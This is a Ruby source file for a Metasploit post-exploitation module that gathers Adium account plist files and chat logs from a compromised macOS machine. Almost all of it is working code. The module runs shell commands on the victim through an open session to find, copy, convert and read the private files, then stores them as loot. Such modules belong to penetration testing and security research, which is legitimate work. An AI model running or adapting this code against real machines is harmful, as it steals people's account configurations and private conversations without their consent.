/
enum_adium.rb
291 lines (254 loc) · 7.47 KB
/
enum_adium.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'OS X Gather Adium Enumeration',
'Description' => %q{
This module will collect Adium's account plist files and chat logs from the
victim's machine. There are three different actions you may choose: ACCOUNTS,
CHATS, and ALL. Note that to use the 'CHATS' action, make sure you set the regex
'PATTERN' option in order to look for certain log names (which consists of a
contact's name, and a timestamp). The current 'PATTERN' option is configured to
look for any log created on February 2012 as an example. To loot both account
plists and chat logs, simply set the action to 'ALL'.
},
'License' => MSF_LICENSE,
'Author' => [ 'sinn3r'],
'Platform' => [ 'osx' ],
'SessionTypes' => [ 'meterpreter', 'shell' ],
'Actions' => [
['ACCOUNTS', { 'Description' => 'Collect account-related plists' } ],
['CHATS', { 'Description' => 'Collect chat logs with a pattern' } ],
['ALL', { 'Description' => 'Collect both account plists and chat logs' }]
],
'DefaultAction' => 'ALL'
)
)
register_options(
[
OptRegexp.new('PATTERN', [true, 'Match a keyword in any chat log\'s filename', '\(2012\-02\-.+\)\.xml$']),
]
)
end
#
# Parse a plst file to XML format:
# http://hints.macworld.com/article.php?story=20050430105126392
#
def plutil(filename)
exec("plutil -convert xml1 #{filename}")
data = exec("cat #{filename}")
return data
end
#
# Collect logs files.
# Enumerate all the xml files (logs), filter out the ones we want, and then
# save each in a hash.
#
def get_chatlogs(base)
base = "#{base}Logs/"
#
# Find all the chat folders for all the victim's contacts and groups
#
print_status("#{@peer} - Gathering folders for chatlogs...")
targets = []
dir(base).each do |account|
dir("#{base}#{account}/").each do |contact|
# Use 'find' to enumerate all the xml files
base_path = "#{base}#{account}/#{contact}"
logs = exec("find #{base_path} -name *.xml").split("\n")
next if logs =~ /No such file or directory/
# Filter out logs
filtered_logs = []
logs.each do |log|
next unless log =~ datastore['PATTERN']
# For debugging purposes, we print all the matches
vprint_status("Match: #{log}")
filtered_logs << log
end
targets << {
account: account,
contact: contact,
log_paths: filtered_logs
}
end
end
#
# Save all the logs to a folder
#
logs = []
targets.each do |target|
log_size = target[:log_paths].length
contact = target[:contact]
account = target[:account]
# Nothing was actually downloaded, skip this one
next if log_size == 0
print_status("#{@peer} - Looting #{log_size} chats with #{contact} (#{account})")
target[:log_paths].each do |log|
log = "\"#{log}\""
data = exec("cat #{log}")
logs << {
account: account,
contact: contact,
data: data
}
# break
end
end
return logs
end
#
# Get AccountPrefs.plist, Accounts.plist, AccountPrefs.plist.
# Return: [ {:filename=> String, :data => String} ]
#
def get_account_info(base)
files = [ 'Account\\ Status.plist', 'Accounts.plist', 'AccountPrefs.plist' ]
loot = []
files.each do |file|
#
# Make a copy of the file we want to convert and steal
#
fpath = "#{base}#{file}"
rand_name = "/tmp/#{Rex::Text.rand_text_alpha(5)}"
tmp = exec("cp #{fpath} #{rand_name}")
if tmp =~ /No such file or directory/
print_error("#{@peer} - Not found: #{fpath}")
next
end
#
# Convert plist to xml
#
print_status("#{@peer} - Parsing: #{file}")
xml = plutil(rand_name)
#
# Save data, and then clean up
#
if xml.empty?
print_error("#{@peer} - Unalbe to parse: #{file}")
else
loot << { filename: file, data: xml }
exec("rm #{rand_name}")
end
end
return loot
end
#
# Do a store_root on all the data collected.
#
def save(type, data)
case type
when :account
data.each do |e|
e[:filename] = e[:filename].gsub(/\\ /, '_')
p = store_loot(
'adium.account.config',
'text/plain',
session,
e[:data],
e[:filename]
)
print_good("#{@peer} - #{e[:filename]} stored as: #{p}")
end
when :chatlogs
data.each do |e|
account = e[:account]
contact = e[:contact]
data = e[:data]
p = store_loot(
'adium.chatlog',
'text/plain',
session,
data,
contact
)
print_good("#{@peer} - #{contact}'s (#{account}) chat log stored as: #{p}")
end
end
end
#
# Get current username
#
def whoami
exec('/usr/bin/whoami')
end
#
# Return an array or directory names
#
def dir(path)
subdirs = exec("ls -l #{path}")
return [] if subdirs =~ /No such file or directory/
items = subdirs.scan(/[A-Z][a-z][a-z]\x20+\d+\x20[\d:]+\x20(.+)$/).flatten
return items
end
#
# This is just a wrapper for cmd_exec(), except it chomp() the output,
# and retry under certain conditions.
#
def exec(cmd)
out = cmd_exec(cmd).chomp
rescue ::Timeout::Error => e
vprint_error("#{@peer} - #{e.message} - retrying...")
retry
rescue EOFError => e
vprint_error("#{@peer} - #{e.message} - retrying...")
retry
end
#
# We're not sure the exact name of the folder becuase it contains a version number.
# We'll just check every folder name, and whichever contains the word "Adium",
# that's the one we'll use.
#
def locate_adium(base)
dir(base).each do |folder|
m = folder.match(/(Adium \d+\.\d+)$/)
if m
m = m[0].gsub(/\x20/, '\\\\ ') + '/'
return "#{base}#{m}"
end
end
return nil
end
def run
#
# Make sure there's an action name before we do anything
#
if action.nil?
print_error('Please specify an action')
return
end
@peer = "#{session.session_host}:#{session.session_port}"
user = whoami
#
# Check adium. And then set the default profile path
#
base = "/Users/#{user}/Library/Application\\ Support/"
adium_path = locate_adium(base)
if adium_path
print_status("#{@peer} - Found adium: #{adium_path}")
adium_path += 'Users/Default/'
else
print_error("#{@peer} - Unable to find adium, will not continue")
return
end
#
# Now that adium is found, let's download some stuff
#
account_data = get_account_info(adium_path) if action.name =~ /ALL|ACCOUNTS/i
chatlogs = get_chatlogs(adium_path) if action.name =~ /ALL|CHATS/i
#
# Store what we found on disk
#
save(:account, account_data) if !account_data.nil? && !account_data.empty?
save(:chatlogs, chatlogs) if !chatlogs.nil? && !chatlogs.empty?
end
end
=begin
Adium:
/Users/[username]/Library/Application\ Support/Adium\ 2.0/
=end